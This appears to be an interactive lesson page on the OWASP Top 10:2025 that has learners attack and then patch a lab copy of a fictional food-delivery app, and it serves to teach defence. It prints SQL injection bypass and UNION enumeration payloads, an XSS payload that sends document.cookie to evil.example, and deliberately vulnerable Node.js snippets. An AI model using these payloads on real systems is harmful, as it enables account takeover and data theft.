Live lesson · progress saved to your account

Web Application Security

The OWASP Top 10:2025, hands on: break and fix IDOR, SQL injection (login bypass and UNION) and stored XSS in a lab copy of a food-delivery app, then patch the vulnerable code at the source.

intermediate150 minwalkthrough

Anyone can read this lesson. To submit answers and earn XP, create a free account.

TASK 01Mission briefing: "I can see other people's orders"

BUG BOUNTY REPORT · KhaanaNow (fictional), Indore · severity: High "Hi team, while checking my order I changed the number in the URL and saw someone else's name, phone and home address. I stopped there and haven't shared this. — a researcher"

KhaanaNow from Room 13 is live, and the first real bug has arrived through their responsible disclosure inbox. The founders want you to find that bug and every one like it before someone less friendly does. You'll work on an isolated lab copy of the app.

The industry checklist for this is the OWASP Top 10, a ranking of the most critical web application risks, built from data on hundreds of thousands of applications. The 2025 edition:

OWASP Top 10:2025 click a category

A01:2025

Broken Access Control

Same position as 2021

Users act outside their permissions: IDOR, missing checks on APIs, privilege escalation. SSRF is now folded in here.

Example: Change /orders/1001 to /orders/1002 and read a stranger's order.

The researcher's bug is the #1 category for the second edition in a row: broken access control.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP

TASK 02Broken access control and IDOR

Authentication says who you are. Access control decides what you may touch, and it fails constantly because it has to be checked on every request, for every object.

The classic case is IDOR (Insecure Direct Object Reference): the app uses an ID from the request to fetch an object and never checks that it belongs to the user.

IDOR: just change the number no check
khaananow.example/api/orders?order_id=1001

200 OK

Customer: you (u-77)

Items: Poha Jalebi × 2

Address: Flat 4B, Vijay Nagar, Indore

Other forms of A01:

  • Vertical escalation: a customer calls /api/admin/users because the admin API only hid its menu link.
  • Mass assignment: sending "role":"admin" in a profile update and the server saves it.
  • SSRF (Server-Side Request Forgery): making the server fetch an internal URL for you, e.g. the cloud metadata service at 169.254.169.254.
  • Missing function-level checks on PUT / DELETE while GET is protected.

The fix: deny by default and check ownership server-side on every object, ideally in one shared place. Random IDs (UUIDs) make guessing harder, but they're not access control.

Now the merchant portal. You're logged in as a small shop. See what else you can read:

Lab · Merchant invoice portal no ownership check

Logged in as u-77 (Sharma Kirana Store). Your invoices: 457, 458.

Open an invoice that isn't yours

Find the founder account's first invoice of the series

Apply the fix and confirm you get 403

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP

+30 XP

TASK 03Injection: SQL injection

Injection happens when untrusted input is pasted into something that gets interpreted: a SQL query, a shell command, an LDAP filter, an HTML page. Type into the box and watch:

Watch your input become SQL string concatenation

SELECT * FROM users WHERE username = 'priya'

idusernamepassword
2priyabiryani99

Your input is pasted straight into the query text.

SQL injection techniques you should recognise:

  • Authentication bypass: ' OR 1=1 -- or admin'-- makes the WHERE clause always true, or comments out the password check.
  • UNION-based: append UNION SELECT … to pull data from other tables into the page. Both SELECTs need the same number of columns; find it with ORDER BY 1, ORDER BY 2… until it errors.
  • Error-based: database error messages leak structure (another reason for A02 misconfiguration).
  • Blind: no output, so infer answers from true/false page differences or time delays (SLEEP(5)).

Tables and columns are listed in information_schema on MySQL/PostgreSQL. Tools like sqlmap automate all of this, but understand it by hand first.

Now the lab copy of KhaanaNow. The debug view shows you the exact query:

Lab · SQL injection in KhaanaNow (lab copy) 0/2 flags

Partner login

Dish search

Log in as the admin without knowing the password

Use UNION in the search to read the hidden table's flag

Hints: log in with username ' OR 1=1 -- (any password). In the search: ' ORDER BY 3-- , then ' UNION SELECT table_name, 1 FROM information_schema.tables-- , then pull the flag column from the table you didn't know about.

The fix is the toggle you can flip: parameterised queries (prepared statements), which never mix code and data. Add least-privilege database accounts and input validation as extra layers.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP

+30 XP

+30 XP

+10 XP

TASK 04Cross-site scripting (XSS)

XSS is injection into a web page: the attacker's input reaches other users' browsers as HTML or JavaScript, and runs with the site's privileges.

Stored XSS: one comment, every visitor raw HTML
Attacker posts a review: <img src=x onerror="fetch('//evil.example/?c='+document.cookie)">
Saved in the database. Rendered for everyone who opens the restaurant page:

Priya's browser

Rahul's browser

Ananya's browser

The browser can't tell the attacker's script from the site's own.

Three kinds:

  • Reflected: the payload is in the URL and bounced straight back in the response. Victims must click a crafted link.
  • Stored: the payload is saved (review, comment, profile name) and served to everyone who views it. The most dangerous.
  • DOM-based: the page's own JavaScript writes untrusted data into the page (innerHTML, document.write), so the server may never see it.

Blocklist filters ("remove <script>") always lose: there are event handlers (onerror, onload), mixed case, nested tags and dozens of other tricks.

The KhaanaNow feedback wall has exactly such a filter, and a moderator who reads every new review:

Lab · The KhaanaNow feedback wall renders raw HTML

@priya

Dal Bafla was 🔥 and arrived hot!

@rahul

Delivery took 50 min :(

evil.example access log

(no hits yet) · a moderator opens the wall every few seconds

The app "sanitises" reviews by removing the exact text <script> once.

See the filter strip your script tag

Get any code to run (proof of concept)

Send the moderator's cookie to evil.example

Apply the fix and show your payload no longer runs

Hints: try <script>alert(1)</script> and look at what's saved. Then try an image with an error handler: <img src=x onerror=alert(1)>. To steal the cookie: <img src=x onerror="fetch('//evil.example/?c='+document.cookie)">

Fixes, in order: context-aware output encoding (most frameworks do it by default, until someone uses dangerouslySetInnerHTML or |safe), HttpOnly cookies, a strict Content Security Policy, and sanitising libraries like DOMPurify when HTML is really needed.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP

+30 XP

+10 XP

TASK 05Authentication failures and misconfiguration

Two categories that are boring to read about and devastating in practice.

A07 Authentication Failures

  • No rate limiting or lockout, so OTPs and passwords can be brute-forced. A 4-digit OTP has only 10,000 possibilities.
  • Credential stuffing with leaked passwords (Room 12); no MFA on admin panels.
  • Session IDs in URLs, sessions that never expire, or not rotating the session ID after login (session fixation).
  • Password reset tokens that are guessable or never expire.

Session handling is where most of these live. Revisit the cookie flags:

The session cookie lifecycle step 1/5
  1. POST /login with phone + OTP
  2. Server creates session 7f3a9c in its store → Set-Cookie: session=7f3a9c
  3. GET /orders · Cookie: session=7f3a9c → server looks it up: user u-77
  4. GET /profile · Cookie: session=7f3a9c (sent automatically, every request)
  5. POST /logout → server deletes 7f3a9c; cookie is now worthless

Cookie flags

Set-Cookie: session=7f3a9c; Path=/

Try to steal or ride the session

A02 Security Misconfiguration (now #2)

  • Default credentials (admin/admin on the database console).
  • Verbose errors with stack traces, SQL and file paths.
  • Directory listing on, .git/ or .env downloadable from the web root.
  • Cloud storage buckets set to public.
  • Missing security headers: Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options: nosniff.

A10 Mishandling of Exceptional Conditions (new): code that fails open. If the payment check throws an error and the catch block just continues, the order ships unpaid.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP

TASK 06Supply chain and integrity

Your app is mostly other people's code: a typical Node.js project pulls in hundreds of packages. A03 Software Supply Chain Failures covers when that code is vulnerable or malicious:

  • Known-vulnerable dependencies (Log4Shell, CVE-2021-44228, was in thousands of Java apps that never knew they used Log4j).
  • Typosquatting: reqeusts instead of requests, published to steal environment variables.
  • Compromised maintainers or build systems: a legitimate package ships a backdoored version (the 2024 xz-utils backdoor nearly reached every Linux distro).

A08 Software or Data Integrity Failures is about trusting things without checking them: auto-updates without signatures, CDN scripts without integrity hashes, or deserialising objects from users.

Integrity checks rely on hashes, so any change, however small, is detected:

Hash avalanche Change one character

4cf52c6d1cb9c8c8a1136181f559b7662b17bd110335de6cdbe5b553354cfc18

4e33b594b092c093ab2f17b300ef5c4081b008ca206c05b48fe4fee45578fcb7

Bits that flipped125/256 (49%)

  • • Fixed length: 256 bits = 64 hex chars, whatever the input size
  • • Deterministic: same input, same hash, every time
  • • One-way: no key, no "decrypt", only guess-and-compare
  • • Avalanche: a tiny change flips about half the bits

Defences:

  • An SBOM (Software Bill of Materials) lists every component, so you can answer "are we affected?" in minutes.
  • Lockfiles (package-lock.json) pin exact versions and hashes; npm audit, Dependabot or OWASP Dependency-Check flag known CVEs.
  • Subresource Integrity (SRI): <script src="…" integrity="sha384-…"> refuses a CDN file that's been altered.
  • Signed commits, builds and releases.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP

TASK 07Fix the vulnerable code

Finding bugs is half the job. Developers need fixes that actually work, and many "fixes" that look reasonable don't. Pick the real fix for each snippet, then run the tests:

Lab · Fix the vulnerable code pick the real fix

Login lookup (Node.js)

const rows = await db.query(
  "SELECT * FROM users WHERE email = '" + req.body.email + "'"
);

Thank-you page (Express)

app.get("/thanks", (req, res) =>
  res.send("<p>Thanks, " + req.query.name + "!</p>"));

Invoice API

app.get("/invoices/:id", requireLogin, async (req, res) =>
  res.json(await Invoice.findById(req.params.id)));

Error handler

app.use((err, req, res, next) =>
  res.status(500).send(err.stack));

The OWASP Cheat Sheet Series has a page for each of these (SQL Injection Prevention, XSS Prevention, Authorization, Error Handling). They're the best free reference for developers.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+30 XP

TASK 08Final mission: the bug report

Write up what you found for KhaanaNow. Each finding needs the OWASP category, a proof and a fix. Map your findings onto the Top 10 to complete the report:

OWASP Top 10:2025 click a category

A01:2025

Broken Access Control

Same position as 2021

Users act outside their permissions: IDOR, missing checks on APIs, privilege escalation. SSRF is now folded in here.

Example: Change /orders/1001 to /orders/1002 and read a stranger's order.

A good finding reads: "Title · Severity · Affected endpoint · Steps to reproduce · Evidence · Impact · Fix · References". Never include more customer data in the report than needed to prove the issue.

Complete the mission for the Bug Hunter badge and the room's XP.

Answer the questions

+10 XP

+10 XP

+10 XP

+10 XP

+10 XP